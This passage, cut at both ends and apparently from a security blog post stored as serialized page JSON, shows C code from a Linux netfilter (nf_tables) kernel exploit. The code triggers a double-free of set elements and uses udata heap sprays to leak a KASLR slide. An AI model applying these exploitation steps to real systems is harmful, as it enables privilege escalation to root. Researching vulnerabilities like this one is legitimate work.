NFT_SET_CONCAT, KEY_LEN, ",{"type":25,"tag":271,"props":67592,"children":67593},{"style":16187},[67594],{"type":30,"value":1326},{"type":25,"tag":271,"props":67596,"children":67597},{"style":13625},[67598],{"type":30,"value":44},{"type":25,"tag":271,"props":67600,"children":67601},{"style":13603},[67602],{"type":30,"value":13632},{"type":25,"tag":271,"props":67604,"children":67605},{"style":13625},[67606],{"type":30,"value":67607},"desc, ",{"type":25,"tag":271,"props":67609,"children":67610},{"style":14289},[67611],{"type":30,"value":67612},"NULL",{"type":25,"tag":271,"props":67614,"children":67615},{"style":13625},[67616],{"type":30,"value":44},{"type":25,"tag":271,"props":67618,"children":67619},{"style":16187},[67620],{"type":30,"value":953},{"type":25,"tag":271,"props":67622,"children":67623},{"style":13625},[67624],{"type":30,"value":67625},", NFT_OBJECT_CT_EXPECT);\n",{"type":25,"tag":271,"props":67627,"children":67628},{"class":13593,"line":16761},[67629],{"type":25,"tag":271,"props":67630,"children":67631},{"emptyLinePlaceholder":18},[67632],{"type":30,"value":16829},{"type":25,"tag":271,"props":67634,"children":67635},{"class":13593,"line":16778},[67636],{"type":25,"tag":271,"props":67637,"children":67638},{"style":14385},[67639],{"type":30,"value":67640},"    // commit 2 elems to set (elems A and B that will be double-freed)\n",{"type":25,"tag":271,"props":67642,"children":67643},{"class":13593,"line":16791},[67644,67648,67652,67656,67661,67665,67669,67673,67677,67681,67685,67689],{"type":25,"tag":271,"props":67645,"children":67646},{"style":16171},[67647],{"type":30,"value":16174},{"type":25,"tag":271,"props":67649,"children":67650},{"style":13625},[67651],{"type":30,"value":16213},{"type":25,"tag":271,"props":67653,"children":67654},{"style":14289},[67655],{"type":30,"value":32168},{"type":25,"tag":271,"props":67657,"children":67658},{"style":13625},[67659],{"type":30,"value":67660}," i ",{"type":25,"tag":271,"props":67662,"children":67663},{"style":13603},[67664],{"type":30,"value":1065},{"type":25,"tag":271,"props":67666,"children":67667},{"style":16187},[67668],{"type":30,"value":16190},{"type":25,"tag":271,"props":67670,"children":67671},{"style":13625},[67672],{"type":30,"value":64349},{"type":25,"tag":271,"props":67674,"children":67675},{"style":13603},[67676],{"type":30,"value":14307},{"type":25,"tag":271,"props":67678,"children":67679},{"style":16187},[67680],{"type":30,"value":21056},{"type":25,"tag":271,"props":67682,"children":67683},{"style":13625},[67684],{"type":30,"value":64380},{"type":25,"tag":271,"props":67686,"children":67687},{"style":13603},[67688],{"type":30,"value":64385},{"type":25,"tag":271,"props":67690,"children":67691},{"style":13625},[67692],{"type":30,"value":16299},{"type":25,"tag":271,"props":67694,"children":67695},{"class":13593,"line":16800},[67696],{"type":25,"tag":271,"props":67697,"children":67698},{"style":13625},[67699],{"type":30,"value":42299},{"type":25,"tag":271,"props":67701,"children":67702},{"class":13593,"line":16823},[67703,67708,67713,67717,67722],{"type":25,"tag":271,"props":67704,"children":67705},{"style":13598},[67706],{"type":30,"value":67707},"        elem",{"type":25,"tag":271,"props":67709,"children":67710},{"style":13625},[67711],{"type":30,"value":67712},"[i] ",{"type":25,"tag":271,"props":67714,"children":67715},{"style":13603},[67716],{"type":30,"value":1065},{"type":25,"tag":271,"props":67718,"children":67719},{"style":13620},[67720],{"type":30,"value":67721}," nftnl_set_elem_alloc",{"type":25,"tag":271,"props":67723,"children":67724},{"style":13625},[67725],{"type":30,"value":16820},{"type":25,"tag":271,"props":67727,"children":67728},{"class":13593,"line":16832},[67729,67734,67739,67744,67748],{"type":25,"tag":271,"props":67730,"children":67731},{"style":13620},[67732],{"type":30,"value":67733},"        memset",{"type":25,"tag":271,"props":67735,"children":67736},{"style":13625},[67737],{"type":30,"value":67738},"(key, ",{"type":25,"tag":271,"props":67740,"children":67741},{"style":16187},[67742],{"type":30,"value":67743},"0x41",{"type":25,"tag":271,"props":67745,"children":67746},{"style":13603},[67747],{"type":30,"value":22025},{"type":25,"tag":271,"props":67749,"children":67750},{"style":13625},[67751],{"type":30,"value":67752}," i, KEY_LEN);\n",{"type":25,"tag":271,"props":67754,"children":67755},{"class":13593,"line":16841},[67756,67761,67765,67769,67774,67779,67783,67788],{"type":25,"tag":271,"props":67757,"children":67758},{"style":13620},[67759],{"type":30,"value":67760},"        nftnl_set_elem_set",{"type":25,"tag":271,"props":67762,"children":67763},{"style":13625},[67764],{"type":30,"value":394},{"type":25,"tag":271,"props":67766,"children":67767},{"style":13598},[67768],{"type":30,"value":65180},{"type":25,"tag":271,"props":67770,"children":67771},{"style":13625},[67772],{"type":30,"value":67773},"[i], NFTNL_SET_ELEM_OBJREF, ",{"type":25,"tag":271,"props":67775,"children":67776},{"style":17388},[67777],{"type":30,"value":67778},"\"pwnobj\"",{"type":25,"tag":271,"props":67780,"children":67781},{"style":13625},[67782],{"type":30,"value":44},{"type":25,"tag":271,"props":67784,"children":67785},{"style":16187},[67786],{"type":30,"value":67787},"7",{"type":25,"tag":271,"props":67789,"children":67790},{"style":13625},[67791],{"type":30,"value":13665},{"type":25,"tag":271,"props":67793,"children":67794},{"class":13593,"line":16907},[67795,67799,67803,67807,67812,67816],{"type":25,"tag":271,"props":67796,"children":67797},{"style":13620},[67798],{"type":30,"value":67760},{"type":25,"tag":271,"props":67800,"children":67801},{"style":13625},[67802],{"type":30,"value":394},{"type":25,"tag":271,"props":67804,"children":67805},{"style":13598},[67806],{"type":30,"value":65180},{"type":25,"tag":271,"props":67808,"children":67809},{"style":13625},[67810],{"type":30,"value":67811},"[i], NFTNL_SET_ELEM_KEY, ",{"type":25,"tag":271,"props":67813,"children":67814},{"style":13603},[67815],{"type":30,"value":13632},{"type":25,"tag":271,"props":67817,"children":67818},{"style":13625},[67819],{"type":30,"value":67820},"key, KEY_LEN);\n",{"type":25,"tag":271,"props":67822,"children":67823},{"class":13593,"line":16915},[67824,67828,67832,67836,67841,67845],{"type":25,"tag":271,"props":67825,"children":67826},{"style":13620},[67827],{"type":30,"value":67760},{"type":25,"tag":271,"props":67829,"children":67830},{"style":13625},[67831],{"type":30,"value":394},{"type":25,"tag":271,"props":67833,"children":67834},{"style":13598},[67835],{"type":30,"value":65180},{"type":25,"tag":271,"props":67837,"children":67838},{"style":13625},[67839],{"type":30,"value":67840},"[i], NFTNL_SET_ELEM_USERDATA, ",{"type":25,"tag":271,"props":67842,"children":67843},{"style":13603},[67844],{"type":30,"value":13632},{"type":25,"tag":271,"props":67846,"children":67847},{"style":13625},[67848],{"type":30,"value":67849},"udata_buf, size);\n",{"type":25,"tag":271,"props":67851,"children":67852},{"class":13593,"line":16945},[67853,67858,67863,67867],{"type":25,"tag":271,"props":67854,"children":67855},{"style":13620},[67856],{"type":30,"value":67857},"        nftnl_set_elem_add",{"type":25,"tag":271,"props":67859,"children":67860},{"style":13625},[67861],{"type":30,"value":67862},"(set, ",{"type":25,"tag":271,"props":67864,"children":67865},{"style":13598},[67866],{"type":30,"value":65180},{"type":25,"tag":271,"props":67868,"children":67869},{"style":13625},[67870],{"type":30,"value":67871},"[i]);\n",{"type":25,"tag":271,"props":67873,"children":67874},{"class":13593,"line":16953},[67875],{"type":25,"tag":271,"props":67876,"children":67877},{"style":13625},[67878],{"type":30,"value":16501},{"type":25,"tag":271,"props":67880,"children":67881},{"class":13593,"line":16984},[67882],{"type":25,"tag":271,"props":67883,"children":67884},{"style":13625},[67885],{"type":30,"value":23442},{"type":25,"tag":271,"props":67887,"children":67888},{"class":13593,"line":16992},[67889],{"type":25,"tag":271,"props":67890,"children":67891},{"emptyLinePlaceholder":18},[67892],{"type":30,"value":16829},{"type":25,"tag":271,"props":67894,"children":67895},{"class":13593,"line":17052},[67896],{"type":25,"tag":271,"props":67897,"children":67898},{"style":13625},[67899],{"type":30,"value":67900},"    // TRANSACTION 3\n",{"type":25,"tag":271,"props":67902,"children":67903},{"class":13593,"line":22168},[67904],{"type":25,"tag":271,"props":67905,"children":67906},{"style":13625},[67907],{"type":30,"value":23442},{"type":25,"tag":271,"props":67909,"children":67910},{"class":13593,"line":22186},[67911],{"type":25,"tag":271,"props":67912,"children":67913},{"style":13625},[67914],{"type":30,"value":67915},"    set = nftnl_set_alloc();\n",{"type":25,"tag":271,"props":67917,"children":67918},{"class":13593,"line":22231},[67919,67924],{"type":25,"tag":271,"props":67920,"children":67921},{"style":13620},[67922],{"type":30,"value":67923},"    nftnl_set_set_u32",{"type":25,"tag":271,"props":67925,"children":67926},{"style":13625},[67927],{"type":30,"value":67928},"(set, NFTNL_SET_FAMILY, family);\n",{"type":25,"tag":271,"props":67930,"children":67931},{"class":13593,"line":22337},[67932,67937],{"type":25,"tag":271,"props":67933,"children":67934},{"style":13620},[67935],{"type":30,"value":67936},"    nftnl_set_set_str",{"type":25,"tag":271,"props":67938,"children":67939},{"style":13625},[67940],{"type":30,"value":67941},"(set, NFTNL_SET_TABLE, exploit_table_name);\n",{"type":25,"tag":271,"props":67943,"children":67944},{"class":13593,"line":36608},[67945,67949,67954,67958],{"type":25,"tag":271,"props":67946,"children":67947},{"style":13620},[67948],{"type":30,"value":67936},{"type":25,"tag":271,"props":67950,"children":67951},{"style":13625},[67952],{"type":30,"value":67953},"(set, NFTNL_SET_NAME, ",{"type":25,"tag":271,"props":67955,"children":67956},{"style":17388},[67957],{"type":30,"value":67552},{"type":25,"tag":271,"props":67959,"children":67960},{"style":13625},[67961],{"type":30,"value":13665},{"type":25,"tag":271,"props":67963,"children":67964},{"class":13593,"line":36643},[67965],{"type":25,"tag":271,"props":67966,"children":67967},{"emptyLinePlaceholder":18},[67968],{"type":30,"value":16829},{"type":25,"tag":271,"props":67970,"children":67971},{"class":13593,"line":36651},[67972],{"type":25,"tag":271,"props":67973,"children":67974},{"style":14385},[67975],{"type":30,"value":67976},"    // make priv->dirty true\n",{"type":25,"tag":271,"props":67978,"children":67979},{"class":13593,"line":36659},[67980,67985,67989,67994],{"type":25,"tag":271,"props":67981,"children":67982},{"style":13620},[67983],{"type":30,"value":67984},"    memset",{"type":25,"tag":271,"props":67986,"children":67987},{"style":13625},[67988],{"type":30,"value":67738},{"type":25,"tag":271,"props":67990,"children":67991},{"style":16187},[67992],{"type":30,"value":67993},"0xff",{"type":25,"tag":271,"props":67995,"children":67996},{"style":13625},[67997],{"type":30,"value":67998},", KEY_LEN);\n",{"type":25,"tag":271,"props":68000,"children":68001},{"class":13593,"line":36668},[68002,68007,68011,68015,68019,68023,68027],{"type":25,"tag":271,"props":68003,"children":68004},{"style":13598},[68005],{"type":30,"value":68006},"    elem",{"type":25,"tag":271,"props":68008,"children":68009},{"style":13625},[68010],{"type":30,"value":5604},{"type":25,"tag":271,"props":68012,"children":68013},{"style":16187},[68014],{"type":30,"value":7711},{"type":25,"tag":271,"props":68016,"children":68017},{"style":13625},[68018],{"type":30,"value":21781},{"type":25,"tag":271,"props":68020,"children":68021},{"style":13603},[68022],{"type":30,"value":1065},{"type":25,"tag":271,"props":68024,"children":68025},{"style":13620},[68026],{"type":30,"value":67721},{"type":25,"tag":271,"props":68028,"children":68029},{"style":13625},[68030],{"type":30,"value":16820},{"type":25,"tag":271,"props":68032,"children":68033},{"class":13593,"line":36710},[68034,68039,68043,68047,68051,68055,68060,68064,68068,68072],{"type":25,"tag":271,"props":68035,"children":68036},{"style":13620},[68037],{"type":30,"value":68038},"    nftnl_set_elem_set",{"type":25,"tag":271,"props":68040,"children":68041},{"style":13625},[68042],{"type":30,"value":394},{"type":25,"tag":271,"props":68044,"children":68045},{"style":13598},[68046],{"type":30,"value":65180},{"type":25,"tag":271,"props":68048,"children":68049},{"style":13625},[68050],{"type":30,"value":5604},{"type":25,"tag":271,"props":68052,"children":68053},{"style":16187},[68054],{"type":30,"value":7711},{"type":25,"tag":271,"props":68056,"children":68057},{"style":13625},[68058],{"type":30,"value":68059},"], NFTNL_SET_ELEM_OBJREF, ",{"type":25,"tag":271,"props":68061,"children":68062},{"style":17388},[68063],{"type":30,"value":67778},{"type":25,"tag":271,"props":68065,"children":68066},{"style":13625},[68067],{"type":30,"value":44},{"type":25,"tag":271,"props":68069,"children":68070},{"style":16187},[68071],{"type":30,"value":67787},{"type":25,"tag":271,"props":68073,"children":68074},{"style":13625},[68075],{"type":30,"value":13665},{"type":25,"tag":271,"props":68077,"children":68078},{"class":13593,"line":36743},[68079,68083,68087,68091,68095,68099,68104,68108],{"type":25,"tag":271,"props":68080,"children":68081},{"style":13620},[68082],{"type":30,"value":68038},{"type":25,"tag":271,"props":68084,"children":68085},{"style":13625},[68086],{"type":30,"value":394},{"type":25,"tag":271,"props":68088,"children":68089},{"style":13598},[68090],{"type":30,"value":65180},{"type":25,"tag":271,"props":68092,"children":68093},{"style":13625},[68094],{"type":30,"value":5604},{"type":25,"tag":271,"props":68096,"children":68097},{"style":16187},[68098],{"type":30,"value":7711},{"type":25,"tag":271,"props":68100,"children":68101},{"style":13625},[68102],{"type":30,"value":68103},"], NFTNL_SET_ELEM_KEY, ",{"type":25,"tag":271,"props":68105,"children":68106},{"style":13603},[68107],{"type":30,"value":13632},{"type":25,"tag":271,"props":68109,"children":68110},{"style":13625},[68111],{"type":30,"value":67820},{"type":25,"tag":271,"props":68113,"children":68114},{"class":13593,"line":36751},[68115,68120,68124,68128,68132,68136],{"type":25,"tag":271,"props":68116,"children":68117},{"style":13620},[68118],{"type":30,"value":68119},"    nftnl_set_elem_add",{"type":25,"tag":271,"props":68121,"children":68122},{"style":13625},[68123],{"type":30,"value":67862},{"type":25,"tag":271,"props":68125,"children":68126},{"style":13598},[68127],{"type":30,"value":65180},{"type":25,"tag":271,"props":68129,"children":68130},{"style":13625},[68131],{"type":30,"value":5604},{"type":25,"tag":271,"props":68133,"children":68134},{"style":16187},[68135],{"type":30,"value":7711},{"type":25,"tag":271,"props":68137,"children":68138},{"style":13625},[68139],{"type":30,"value":16904},{"type":25,"tag":271,"props":68141,"children":68142},{"class":13593,"line":36759},[68143],{"type":25,"tag":271,"props":68144,"children":68145},{"style":13625},[68146],{"type":30,"value":23442},{"type":25,"tag":271,"props":68148,"children":68149},{"class":13593,"line":36768},[68150],{"type":25,"tag":271,"props":68151,"children":68152},{"emptyLinePlaceholder":18},[68153],{"type":30,"value":16829},{"type":25,"tag":271,"props":68155,"children":68156},{"class":13593,"line":36844},[68157],{"type":25,"tag":271,"props":68158,"children":68159},{"style":13625},[68160],{"type":30,"value":68161},"    // double-free commited elems\n",{"type":25,"tag":271,"props":68163,"children":68164},{"class":13593,"line":36877},[68165],{"type":25,"tag":271,"props":68166,"children":68167},{"style":13625},[68168],{"type":30,"value":23442},{"type":25,"tag":271,"props":68170,"children":68171},{"class":13593,"line":36885},[68172,68177,68181],{"type":25,"tag":271,"props":68173,"children":68174},{"style":13625},[68175],{"type":30,"value":68176},"    nftnl_set_free(",{"type":25,"tag":271,"props":68178,"children":68179},{"style":13609},[68180],{"type":30,"value":64135},{"type":25,"tag":271,"props":68182,"children":68183},{"style":13625},[68184],{"type":30,"value":13665},{"type":25,"tag":271,"props":68186,"children":68187},{"class":13593,"line":36893},[68188],{"type":25,"tag":271,"props":68189,"children":68190},{"style":13625},[68191],{"type":30,"value":17058},{"type":25,"tag":271,"props":68193,"children":68194},{"class":13593,"line":36930},[68195],{"type":25,"tag":271,"props":68196,"children":68197},{"style":13625},[68198],{"type":30,"value":23442},{"type":25,"tag":247,"props":68200,"children":68202},{"id":68201},"leaking-kaslr",[68203],{"type":30,"value":68204},"Leaking KASLR",{"type":25,"tag":26,"props":68206,"children":68207},{},[68208,68210,68216,68218,68223,68225,68231,68233,68239,68241],{"type":30,"value":68209},"Tables contain an outline user data buffer ",{"type":25,"tag":264,"props":68211,"children":68213},{"className":68212},[],[68214],{"type":30,"value":68215},"udata",{"type":30,"value":68217}," that we can both read and write. By allocating a ",{"type":25,"tag":264,"props":68219,"children":68221},{"className":68220},[],[68222],{"type":30,"value":68215},{"type":30,"value":68224}," buffer on the double-free slot and then overlapping it with an ",{"type":25,"tag":264,"props":68226,"children":68228},{"className":68227},[],[68229],{"type":30,"value":68230},"nft_object",{"type":30,"value":68232}," we can leak the ",{"type":25,"tag":264,"props":68234,"children":68236},{"className":68235},[],[68237],{"type":30,"value":68238},"->ops",{"type":30,"value":68240}," pointer, and use it to calculate the KASLR slide.\n",{"type":25,"tag":698,"props":68242,"children":68244},{"alt":63694,"src":68243},"/posts/netfilter-universal-root-1-day/kaslr.png",[],{"type":25,"tag":7764,"props":68246,"children":68248},{"className":42222,"code":68247,"language":42224,"meta":7,"style":7},"[...]\n    // spray 3 udata buffers to consume elems A, B and A again\n    udata_spray(nl, 0xe8, 0, 3, NULL);\n\n    // check if overlap happened (i.e if we have to overlapping udata buffers)\n    char spray_name[16];\n    char *udata[3];\n    for (int i = 0; i \u003C 3; i++)\n    {\n        snprintf(spray_name, sizeof(spray_name), \"spray-%i\", i);\n        udata[i] = getudata(nl, spray_name);\n    }\n    if (udata[0][0] == udata[2][0])\n    {\n        puts(\"[+] got duplicated table\");\n    }\n\n    // Replace one of the udata buffers with nft_object\n    // and read it's counterpart to leak the nft_object struct\n    puts(\"[*] Info leak\");\n    deludata_spray(nl, 0, 1);\n    wait_destroyer();\n    obj_spray(nl, 0, 1, NULL, 0);\n    uint64_t *fake_obj = (uint64_t *)getudata(nl, \"spray-2\");\n[...]\n",[68249],{"type":25,"tag":264,"props":68250,"children":68251},{"__ignoreMap":7},[68252,68259,68267,68302,68309,68317,68342,68369,68420,68427,68460,68486,68493,68558,68565,68586,68593,68600,68608,68616,68637,68666,68678,68722,68778],{"type":25,"tag":271,"props":68253,"children":68254},{"class":13593,"line":13594},[68255],{"type":25,"tag":271,"props":68256,"children":68257},{"style":13625},[68258],{"type":30,"value":23442},{"type":25,"tag":271,"props":68260,"children":68261},{"class":13593,"line":11641},[68262],{"type":25,"tag":271,"props":68263,"children":68264},{"style":13625},[68265],{"type":30,"value":68266},"    // spray 3 udata buffers to consume elems A, B and A again\n",{"type":25,"tag":271,"props":68268,"children":68269},{"class":13593,"line":14354},[68270,68275,68279,68284,68289,68294,68298],{"type":25,"tag":271,"props":68271,"children":68272},{"style":13625},[68273],{"type":30,"value":68274},"    udata_spray(",{"type":25,"tag":271,"props":68276,"children":68277},{"style":13609},[68278],{"type":30,"value":67406},{"type":25,"tag":271,"props":68280,"children":68281},{"style":13625},[68282],{"type":30,"value":68283},", 0",{"type":25,"tag":271,"props":68285,"children":68286},{"style":13609},[68287],{"type":30,"value":68288},"xe8",{"type":25,"tag":271,"props":68290,"children":68291},{"style":13625},[68292],{"type":30,"value":68293},", 0, 3, ",{"type":25,"tag":271,"props":68295,"children":68296},{"style":13609},[68297],{"type":30,"value":67612},{"type":25,"tag":271,"props":68299,"children":68300},{"style":13625},[68301],{"type":30,"value":13665},{"type":25,"tag":271,"props":68303,"children":68304},{"class":13593,"line":14391},[68305],{"type":25,"tag":271,"props":68306,"children":68307},{"emptyLinePlaceholder":18},[68308],{"type":30,"value":16829},{"type":25,"tag":271,"props":68310,"children":68311},{"class":13593,"line":14400},[68312],{"type":25,"tag":271,"props":68313,"children":68314},{"style":14385},[68315],{"type":30,"value":68316},"    // check if overlap happened (i.e if we have to overlapping udata buffers)\n",{"type":25,"tag":271,"props":68318,"children":68319},{"class":13593,"line":16406},[68320,68325,68330,68334,68338],{"type":25,"tag":271,"props":68321,"children":68322},{"style":14289},[68323],{"type":30,"value":68324},"    char",{"type":25,"tag":271,"props":68326,"children":68327},{"style":13598},[68328],{"type":30,"value":68329}," spray_name",{"type":25,"tag":271,"props":68331,"children":68332},{"style":13625},[68333],{"type":30,"value":5604},{"type":25,"tag":271,"props":68335,"children":68336},{"style":16187},[68337],{"type":30,"value":53958},{"type":25,"tag":271,"props":68339,"children":68340},{"style":13625},[68341],{"type":30,"value":44686},{"type":25,"tag":271,"props":68343,"children":68344},{"class":13593,"line":16434},[68345,68349,68353,68357,68361,68365],{"type":25,"tag":271,"props":68346,"children":68347},{"style":14289},[68348],{"type":30,"value":68324},{"type":25,"tag":271,"props":68350,"children":68351},{"style":13603},[68352],{"type":30,"value":22940},{"type":25,"tag":271,"props":68354,"children":68355},{"style":13598},[68356],{"type":30,"value":68215},{"type":25,"tag":271,"props":68358,"children":68359},{"style":13625},[68360],{"type":30,"value":5604},{"type":25,"tag":271,"props":68362,"children":68363},{"style":16187},[68364],{"type":30,"value":7711},{"type":25,"tag":271,"props":68366,"children":68367},{"style":13625},[68368],{"type":30,"value":44686},{"type":25,"tag":271,"props":68370,"children":68371},{"class":13593,"line":16447},[68372,68376,68380,68384,68388,68392,68396,68400,68404,68408,68412,68416],{"type":25,"tag":271,"props":68373,"children":68374},{"style":16171},[68375],{"type":30,"value":16174},{"type":25,"tag":271,"props":68377,"children":68378},{"style":13625},[68379],{"type":30,"value":16213},{"type":25,"tag":271,"props":68381,"children":68382},{"style":14289},[68383],{"type":30,"value":32168},{"type":25,"tag":271,"props":68385,"children":68386},{"style":13625},[68387],{"type":30,"value":67660},{"type":25,"tag":271,"props":68389,"children":68390},{"style":13603},[68391],{"type":30,"value":1065},{"type":25,"tag":271,"props":68393,"children":68394},{"style":16187},[68395],{"type":30,"value":16190},{"type":25,"tag":271,"props":68397,"children":68398},{"style":13625},[68399],{"type":30,"value":64349},{"type":25,"tag":271,"props":68401,"children":68402},{"style":13603},[68403],{"type":30,"value":14307},{"type":25,"tag":271,"props":68405,"children":68406},{"style":16187},[68407],{"type":30,"value":32220},{"type":25,"tag":271,"props":68409,"children":68410},{"style":13625},[68411],{"type":30,"value":64380},{"type":25,"tag":271,"props":68413,"children":68414},{"style":13603},[68415],{"type":30,"value":64385},{"type":25,"tag":271,"props":68417,"children":68418},{"style":13625},[68419],{"type":30,"value":16299},{"type":25,"tag":271,"props":68421,"children":68422},{"class":13593,"line":16465},[68423],{"type":25,"tag":271,"props":68424,"children":68425},{"style":13625},[68426],{"type":30,"value":42299},{"type":25,"tag":271,"props":68428,"children":68429},{"class":13593,"line":16486},[68430,68435,68440,68445,68450,68455],{"type":25,"tag":271,"props":68431,"children":68432},{"style":13620},[68433],{"type":30,"value":68434},"        snprintf",{"type":25,"tag":271,"props":68436,"children":68437},{"style":13625},[68438],{"type":30,"value":68439},"(spray_name, ",{"type":25,"tag":271,"props":68441,"children":68442},{"style":14289},[68443],{"type":30,"value":68444},"sizeof",{"type":25,"tag":271,"props":68446,"children":68447},{"style":13625},[68448],{"type":30,"value":68449},"(spray_name), ",{"type":25,"tag":271,"props":68451,"children":68452},{"style":17388},[68453],{"type":30,"value":68454},"\"spray-%i\"",{"type":25,"tag":271,"props":68456,"children":68457},{"style":13625},[68458],{"type":30,"value":68459},", i);\n",{"type":25,"tag":271,"props":68461,"children":68462},{"class":13593,"line":16495},[68463,68468,68472,68476,68481],{"type":25,"tag":271,"props":68464,"children":68465},{"style":13598},[68466],{"type":30,"value":68467},"        udata",{"type":25,"tag":271,"props":68469,"children":68470},{"style":13625},[68471],{"type":30,"value":67712},{"type":25,"tag":271,"props":68473,"children":68474},{"style":13603},[68475],{"type":30,"value":1065},{"type":25,"tag":271,"props":68477,"children":68478},{"style":13620},[68479],{"type":30,"value":68480}," getudata",{"type":25,"tag":271,"props":68482,"children":68483},{"style":13625},[68484],{"type":30,"value":68485},"(nl, spray_name);\n",{"type":25,"tag":271,"props":68487,"children":68488},{"class":13593,"line":16744},[68489],{"type":25,"tag":271,"props":68490,"children":68491},{"style":13625},[68492],{"type":30,"value":16501},{"type":25,"tag":271,"props":68494,"children":68495},{"class":13593,"line":16761},[68496,68500,68504,68508,68512,68516,68520,68524,68528,68532,68537,68541,68545,68549,68553],{"type":25,"tag":271,"props":68497,"children":68498},{"style":16171},[68499],{"type":30,"value":25404},{"type":25,"tag":271,"props":68501,"children":68502},{"style":13625},[68503],{"type":30,"value":16213},{"type":25,"tag":271,"props":68505,"children":68506},{"style":13598},[68507],{"type":30,"value":68215},{"type":25,"tag":271,"props":68509,"children":68510},{"style":13625},[68511],{"type":30,"value":5604},{"type":25,"tag":271,"props":68513,"children":68514},{"style":16187},[68515],{"type":30,"value":953},{"type":25,"tag":271,"props":68517,"children":68518},{"style":13625},[68519],{"type":30,"value":62074},{"type":25,"tag":271,"props":68521,"children":68522},{"style":16187},[68523],{"type":30,"value":953},{"type":25,"tag":271,"props":68525,"children":68526},{"style":13625},[68527],{"type":30,"value":21781},{"type":25,"tag":271,"props":68529,"children":68530},{"style":13603},[68531],{"type":30,"value":21696},{"type":25,"tag":271,"props":68533,"children":68534},{"style":13598},[68535],{"type":30,"value":68536}," udata",{"type":25,"tag":271,"props":68538,"children":68539},{"style":13625},[68540],{"type":30,"value":5604},{"type":25,"tag":271,"props":68542,"children":68543},{"style":16187},[68544],{"type":30,"value":1326},{"type":25,"tag":271,"props":68546,"children":68547},{"style":13625},[68548],{"type":30,"value":62074},{"type":25,"tag":271,"props":68550,"children":68551},{"style":16187},[68552],{"type":30,"value":953},{"type":25,"tag":271,"props":68554,"children":68555},{"style":13625},[68556],{"type":30,"value":68557},"])\n",{"type":25,"tag":271,"props":68559,"children":68560},{"class":13593,"line":16778},[68561],{"type":25,"tag":271,"props":68562,"children":68563},{"style":13625},[68564],{"type":30,"value":42299},{"type":25,"tag":271,"props":68566,"children":68567},{"class":13593,"line":16791},[68568,68573,68577,68582],{"type":25,"tag":271,"props":68569,"children":68570},{"style":13620},[68571],{"type":30,"value":68572},"        puts",{"type":25,"tag":271,"props":68574,"children":68575},{"style":13625},[68576],{"type":30,"value":394},{"type":25,"tag":271,"props":68578,"children":68579},{"style":17388},[68580],{"type":30,"value":68581},"\"[+] got duplicated table\"",{"type":25,"tag":271,"props":68583,"children":68584},{"style":13625},[68585],{"type":30,"value":13665},{"type":25,"tag":271,"props":68587,"children":68588},{"class":13593,"line":16800},[68589],{"type":25,"tag":271,"props":68590,"children":68591},{"style":13625},[68592],{"type":30,"value":16501},{"type":25,"tag":271,"props":68594,"children":68595},{"class":13593,"line":16823},[68596],{"type":25,"tag":271,"props":68597,"children":68598},{"emptyLinePlaceholder":18},[68599],{"type":30,"value":16829},{"type":25,"tag":271,"props":68601,"children":68602},{"class":13593,"line":16832},[68603],{"type":25,"tag":271,"props":68604,"children":68605},{"style":14385},[68606],{"type":30,"value":68607},"    // Replace one of the udata buffers with nft_object\n",{"type":25,"tag":271,"props":68609,"children":68610},{"class":13593,"line":16841},[68611],{"type":25,"tag":271,"props":68612,"children":68613},{"style":14385},[68614],{"type":30,"value":68615},"    // and read it's counterpart to leak the nft_object struct\n",{"type":25,"tag":271,"props":68617,"children":68618},{"class":13593,"line":16907},[68619,68624,68628,68633],{"type":25,"tag":271,"props":68620,"children":68621},{"style":13620},[68622],{"type":30,"value":68623},"    puts",{"type":25,"tag":271,"props":68625,"children":68626},{"style":13625},[68627],{"type":30,"value":394},{"type":25,"tag":271,"props":68629,"children":68630},{"style":17388},[68631],{"type":30,"value":68632},"\"[*] Info leak\"",{"type":25,"tag":271,"props":68634,"children":68635},{"style":13625},[68636],{"type":30,"value":13665},{"type":25,"tag":271,"props":68638,"children":68639},{"class":13593,"line":16915},[68640,68645,68650,68654,68658,68662],{"type":25,"tag":271,"props":68641,"children":68642},{"style":13620},[68643],{"type":30,"value":68644},"    deludata_spray",{"type":25,"tag":271,"props":68646,"children":68647},{"style":13625},[68648],{"type":30,"value":68649},"(nl, ",{"type":25,"tag":271,"props":68651,"children":68652},{"style":16187},[68653],{"type":30,"value":953},{"type":25,"tag":271,"props":68655,"children":68656},{"style":13625},[68657],{"type":30,"value":44},{"type":25,"tag":271,"props":68659,"children":68660},{"style":16187},[68661],{"type":30,"value":968},{"type":25,"tag":271,"props":68663,"children":68664},{"style":13625},[68665],{"type":30,"value":13665},{"type":25,"tag":271,"props":68667,"children":68668},{"class":13593,"line":16945},[68669,68674],{"type":25,"tag":271,"props":68670,"children":68671},{"style":13620},[68672],{"type":30,"value":68673},"    wait_destroyer",{"type":25,"tag":271,"props":68675,"children":68676},{"style":13625},[68677],{"type":30,"value":16820},{"type":25,"tag":271,"props":68679,"children":68680},{"class":13593,"line":16953},[68681,68686,68690,68694,68698,68702,68706,68710,68714,68718],{"type":25,"tag":271,"props":68682,"children":68683},{"style":13620},[68684],{"type":30,"value":68685},"    obj_spray",{"type":25,"tag":271,"props":68687,"children":68688},{"style":13625},[68689],{"type":30,"value":68649},{"type":25,"tag":271,"props":68691,"children":68692},{"style":16187},[68693],{"type":30,"value":953},{"type":25,"tag":271,"props":68695,"children":68696},{"style":13625},[68697],{"type":30,"value":44},{"type":25,"tag":271,"props":68699,"children":68700},{"style":16187},[68701],{"type":30,"value":968},{"type":25,"tag":271,"props":68703,"children":68704},{"style":13625},[68705],{"type":30,"value":44},{"type":25,"tag":271,"props":68707,"children":68708},{"style":14289},[68709],{"type":30,"value":67612},{"type":25,"tag":271,"props":68711,"children":68712},{"style":13625},[68713],{"type":30,"value":44},{"type":25,"tag":271,"props":68715,"children":68716},{"style":16187},[68717],{"type":30,"value":953},{"type":25,"tag":271,"props":68719,"children":68720},{"style":13625},[68721],{"type":30,"value":13665},{"type":25,"tag":271,"props":68723,"children":68724},{"class":13593,"line":16984},[68725,68730,68734,68739,68743,68747,68752,68756,68760,68765,68769,68774],{"type":25,"tag":271,"props":68726,"children":68727},{"style":14289},[68728],{"type":30,"value":68729},"    uint64_t",{"type":25,"tag":271,"props":68731,"children":68732},{"style":13603},[68733],{"type":30,"value":22940},{"type":25,"tag":271,"props":68735,"children":68736},{"style":13625},[68737],{"type":30,"value":68738},"fake_obj 